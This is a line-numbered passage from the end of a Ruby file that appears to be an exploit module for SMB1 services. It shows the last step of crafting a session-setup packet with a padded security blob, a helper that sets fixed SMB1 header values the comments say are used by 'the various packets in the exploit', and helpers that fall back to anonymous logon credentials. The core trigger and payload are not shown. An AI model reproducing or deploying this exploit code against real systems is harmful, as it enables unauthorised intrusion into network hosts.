1572
    packet.parameter_block.security_blob_length = 0
1573

1574
    packet.smb_header.flags2.unicode = 0
1575
    packet.data_block.security_blob = native_os + "\x00" * 15
1576
    packet.data_block.native_os = ''
1577
    packet.data_block.native_lan_man = ''
1578
    packet
1579
  end
1580

1581
  # Sets common SMB1 Header values used by the various
1582
  # packets in the exploit.
1583
  #
1584
  # @return [RubySMB::GenericPacket] the modified version of the packet
1585
  def set_smb1_headers(packet, tree_id, user_id)
1586
    packet.smb_header.flags2.read("\x07\xc0")
1587
    packet.smb_header.tid = tree_id
1588
    packet.smb_header.uid = user_id
1589
    packet.smb_header.pid_low = 65279
1590
    packet.smb_header.mid = 64
1591
    packet
1592
  end
1593

1594
  # Returns the value to be passed to SMB clients for
1595
  # the password. If the user has not supplied a password
1596
  # it returns an empty string to trigger an anonymous
1597
  # logon.
1598
  #
1599
  # @return [String] the password value
1600
  def smb_pass
1601
    if datastore['SMBPass'].present?
1602
      datastore['SMBPass']
1603
    else
1604
      ''
1605
    end
1606
  end
1607

1608
  # Returns the value to be passed to SMB clients for
1609
  # the username. If the user has not supplied a username
1610
  # it returns an empty string to trigger an anonymous
1611
  # logon.
1612
  #
1613
  # @return [String] the username value
1614
  def smb_user
1615
    if datastore['SMBUser'].present?
1616
      datastore['SMBUser']
1617
    else
1618
      ''
1619
    end
1620
  end
1621

1622
  # Returns the value to be passed to SMB clients for
1623
  # the domain. If the user has not supplied a domain
1624
  # it returns an empty string to trigger an anonymous
1625
  # logon.
1626
  #
1627
  # @return [String] the domain value
1628
  def smb_domain
1629
    if datastore['SMBDomain'].present?
1630
      datastore['SMBDomain']
1631
    else
1632
      ''
1633
    end
1634
  end
1635
end
1636

1637